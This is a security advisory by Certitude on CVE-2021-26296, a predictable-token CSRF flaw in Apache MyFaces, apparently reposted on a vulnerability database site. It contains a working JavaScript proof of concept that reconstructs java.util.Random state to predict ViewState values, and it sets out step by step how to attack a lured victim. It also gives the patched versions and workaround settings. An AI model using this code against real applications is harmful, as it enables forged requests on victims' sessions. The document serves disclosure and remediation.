Lucene search
K

Apache MyFaces 2.x Cross Site Request Forgery

🗓️ 20 Feb 2021 00:00:00Reported by Wolfgang EttlingerType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 355 Views

Apache MyFaces CSRF Vulnerabilit

Related
Code
ReporterTitlePublishedViews
Family
IBM Security Bulletins
Security Bulletin: A security vulnerability has been identified in IBM WebSphere Application Server shipped with Tivoli Netcool/OMNIbus WebGUI (CVE-2021-26296)
22 Apr 202108:28
ibm
IBM Security Bulletins
Security Bulletin: Vulnerability in Apache MyFaces affects WebSphere Application Server (CVE-2021-26296)
13 Apr 202104:40
ibm
IBM Security Bulletins
Security Bulletin: Multiple vulnerabilities in IBM WebSphere Appilcation Server and WebSphere Application Server Liberty affects IBM Engineering ELM products on IBM Jazz technology.
1 Jun 202115:41
ibm
IBM Security Bulletins
Security Bulletin: Vulnerabilities in WebSphere Application Server affect IBM Cloud Orchestrator and IBM Cloud Orchestrator Enterprise
17 Oct 202400:55
ibm
IBM Security Bulletins
Security Bulletin: Vulnerability in Apache MyFaces affects WebSphere Application Server in IBM Cloud (CVE-2021-26296)
9 Apr 202118:27
ibm
IBM Security Bulletins
Security Bulletin: Novalink is impacted by Apache MyFaces affects WebSphere Liberty, middle vulnerability in WebSphere Application Server Liberty (CVE-2021-26296)
30 Jul 202105:03
ibm
IBM Security Bulletins
Security Bulletin: A security vulnerability has been identified in WebSphere Application Server is vulnerability in Apache MyFaces affects WebSphere Application Server (CVE-2021-26296)
13 Apr 202104:47
ibm
IBM Security Bulletins
Security Bulletin: A security vulnerability has been identified in IBM WebSphere Application Server shipped with Tivoli Business Service Manager (CVE-2021-26296)
15 Jun 202116:02
ibm
IBM Security Bulletins
Security Bulletin: Rational Asset Analyzer (RAA) is affected by a WebSphere Application Server vulnerability (CVE-2021-26296)
25 Jun 202120:12
ibm
IBM Security Bulletins
Security Bulletin: A security vulnerability has been identified in WebSphere Application Server shipped with IBM Security Key Lifecycle Manager (SKLM) (CVE-2021-26296)
26 Apr 202114:11
ibm
Rows per page
`~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
~ Ceritude Securiy Advisory - CSA-2021-001 ~  
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~  
PRODUCT : Apache MyFaces  
VENDOR : The Apache Software Foundation  
SEVERITY : High  
AFFECTED VERSION : <=2.2.13, <=2.3.7, <=2.3-next-M4, <=2.1 branches  
IDENTIFIERS : CVE-2021-26296  
PATCH VERSION : 2.2.14, 2.3.8, 2.3-next-M5, 3.0.0  
FOUND BY : Wolfgang Ettlinger, Certitude Lab  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
Introduction  
------------  
  
Apache MyFaces is an open-source implementation of JSF. During a quick  
evaluation, Certitude found that the default CSRF protection of Apache MyFaces  
was insufficient as the CSRF tokens the framework generates can be guessed by  
an attacker.  
  
Moreover, the patch provided by the Apache MyFaces maintainers affects the way  
channel tokens for websocket communication are generated. It is unclear,  
whether this change fixes a vulnerability.  
  
Vulnerability Overview  
----------------------  
  
Applications that employ the MyFaces JSF framework transmit a parameter  
"javax.faces.ViewState" with every state-modifying request. Though not  
intended for CSRF protection, in the default configuration this parameter  
prevents trivial attacks, as it is sufficiently long and tied to a single  
session.  
  
However, by default, this value is generated using the insecure random number  
generator `java.util.Random`. An attacker can therefore obtain a ViewState  
parameter from the application and, based on this value, predict the random  
part of ViewState parameters subsequently issued to other users. Besides the  
random string, the ViewState parameter contains a sequence number. As the  
initial value of the per-session sequence counter is 1, an attacker can very  
easily guess this value.  
  
As the ViewState parameter is the sole CSRF protection, knowledge of this  
value allows an attacker to conduct CSRF attacks.  
  
When Apache MyFaces is used in client-side saving mode, the ViewState  
parameter is insufficient to protect against CSRF. Instead, pages that require  
protection against CSRF can be marked as "protected-pages". For these pages,  
Apache MyFaces requires CSRF token for each request ("javax.faces.Token"). By  
default, the CSRF token too is generated using `java.util.Random`, thus  
allowing an attacker to bypass the CSRF protection.  
  
NOTE: Besides the ViewState parameter and the CSRF token, Apache MyFaces also  
introduced a cryptographically secure random number generator for the  
websocket channel token. Certitude has not verified if this change fixes a  
vulnerability.  
  
Proof of Concept  
----------------  
  
By default, the class  
`org.apache.myfaces.application.viewstate.RandomKeyFactory` is used to  
generate ViewState parameter values. This class uses the method  
`java.util.Random#nextBytes` as well as a per-session counter value to  
generate ViewState strings.  
  
The following JavaScript snippet demonstrates the generation of the random  
part of a ViewState value based on the random part of a previously issued  
ViewState parameter:  
  
``` {.javascript}  
const multiplier = 0x5DEECE66Dn;  
const addend = 0xBn;  
const mask = (1n << 48n) - 1n;  
  
const unbyte = (bytes, offset) => BigInt(  
Array.from(bytes.slice(offset, offset + 4))  
.map((b, i) => b << (8 * i))  
.reduce((a, b) => a + b));  
  
const longify = n => integer(n, 8n);  
const intify = n => integer(n, 4n);  
const byteify = n => integer(n, 1n);  
  
function integer(n, len) {  
const bits = len * 8n;  
const hspan = 1n << (bits - 1n);  
return ((n + hspan) % (2n * hspan)) - hspan;  
}  
  
const hexToByteArray = s => (new Uint8Array(s.length / 2)  
.map((_, i) => (  
parseInt(s.charAt(2 * i), 16) << 4 |  
parseInt(s.charAt(2 * i + 1), 16))));  
  
const byteArrayToHex = b => (Array.from(b)  
.map(x => (((x + 0x100).toString(16)).substr(-2)))  
.reduce((a, b) => a + b))  
.toUpperCase();  
  
// based on https://github.com/fta2012/ReplicatedRandom/blob/master/ReplicatedRandom.java  
function replicatedRandom(bytes) {  
let seed = 0;  
  
replicateState(  
unbyte(bytes, bytes.length - 8), 32n,  
unbyte(bytes, bytes.length - 4), 32n);  
  
return nextBytes(bytes.length);  
  
function replicateState(nextN, n, nextM, m) {  
const upperMOf48Mask = ((1n << m) - 1n) << (48n - m);  
const oldSeedUpperN = (nextN << (48n - n)) & mask;  
const newSeedUpperM = (nextM << (48n - m)) & mask;  
  
let possibilityCount = 0;  
  
for (let oldSeed = oldSeedUpperN;  
oldSeed <= (oldSeedUpperN | ((1n << (48n - n)) - 1n));  
oldSeed++) {  
const newSeed = longify(  
longify(oldSeed * multiplier + addend) & mask);  
  
if ((newSeed & upperMOf48Mask) == newSeedUpperM) {  
possibilityCount++;  
seed = newSeed;  
}  
}  
  
if (possibilityCount != 1) throw new Error('replicateState failed');  
}  
  
function next(bits) {  
seed = longify(longify(seed * multiplier + addend) & mask);  
return intify(seed >> (48n - bits));  
}  
  
function nextBytes(count) {  
const res = new Int8Array(count);  
  
for (let i = 0; i < count; ) {  
let rnd = next(32n);  
for (let n = Math.min(count - i, 4); n > 0; n--) {  
res[i++] = parseInt(byteify(rnd));  
rnd >>= 8n;  
}  
}  
  
return res;  
}  
}  
```  
  
An attacker can exploit this issue as follows:  
  
1. An attacker lures an authenticated victim to an attacker-controlled  
website.  
2. As the victim opens the website, the attacker requests a ViewState value  
from the application.  
3. The exploit script opens the target JSF page e.g. in an iframe. For this  
page, the vulnerable application generates a new random ViewState value.  
4. The attacker now predicts a number of the random strings based on the  
ViewState value received in step 2. As the victim's ViewState value is  
generated just after the attacker's ViewState value, it is very likely,  
that the victim's ViewState value is among the generated ones.  
5. The exploit script sends several CSRF requests containing combinations of  
predicted random strings and sequence numbers. If guessed correctly, the  
vulnerable application accepts the attacker's request.  
  
A similar approach is possible to attack protected pages. Unlike the ViewState  
values, the CSRF token generated, however, do not contain a sequence counter.  
  
Resolution  
----------  
  
The Apache MyFaces maintainers have released a patch that addresses the  
identified issue. Certitude recommends affected organizations to immediately  
upgrade to version 2.2.14, 2.3.8, 2.3-next-M5 or 3.0.0. If an upgrade to the  
latest version is not possible, the Apache MyFaces maintainers recommend  
setting the following settings to "secureRandom":  
  
- org.apache.myfaces.RANDOM_KEY_IN_VIEW_STATE_SESSION_TOKEN  
- org.apache.myfaces.RANDOM_KEY_IN_CSRF_SESSION_TOKEN  
- org.apache.myfaces.RANDOM_KEY_IN_WEBSOCKET_SESSION_TOKEN  
  
Note that the patch introduces changes in the way websocket channel tokens are  
generated. Certitude therefore recommends applying the patch or workaround to  
all applications that use Apache MyFaces, even if CSRF attacks are of no  
concern.  
  
Timeline  
--------  
  
---------------------------------------------------------------------------  
Date Text  
------------ --------------------------------------------------------------  
2020-12-15 Sending encrypted vulnerability description and proof of  
concept script to the Apache security team  
  
2020-12-15 Apache security team acknowledges receipt  
  
2020-12-28 Apache MyFaces team member requests proof of concept script  
  
2021-01-04 Asking for encrypted communication channel  
  
2021-01-04 Vendor provides PGP key  
  
2021-01-05 Sending encrypted proof of concept  
  
2021-01-07 Vendor requests more information about the PoC  
  
2021-01-08 Providing requested information  
  
2021-01-19 Coordination call with vendor  
  
2021-01-26 Coordination call with vendor  
  
2021-02-02 Coordination call with vendor, release of patches is imminent  
  
2021-02-09 Coordination call with vendor, 3 of 4 patches have been  
released  
  
2021-02-15 Coordination call with vendor, last patch release is in  
progress  
  
2021-02-19 Public release of the advisory  
---------------------------------------------------------------------------  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
(c) 2021 Certitude Consulting GmbH  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

20 Feb 2021 00:00Current
0.7Low risk
Vulners AI Score0.7
EPSS0.00321
355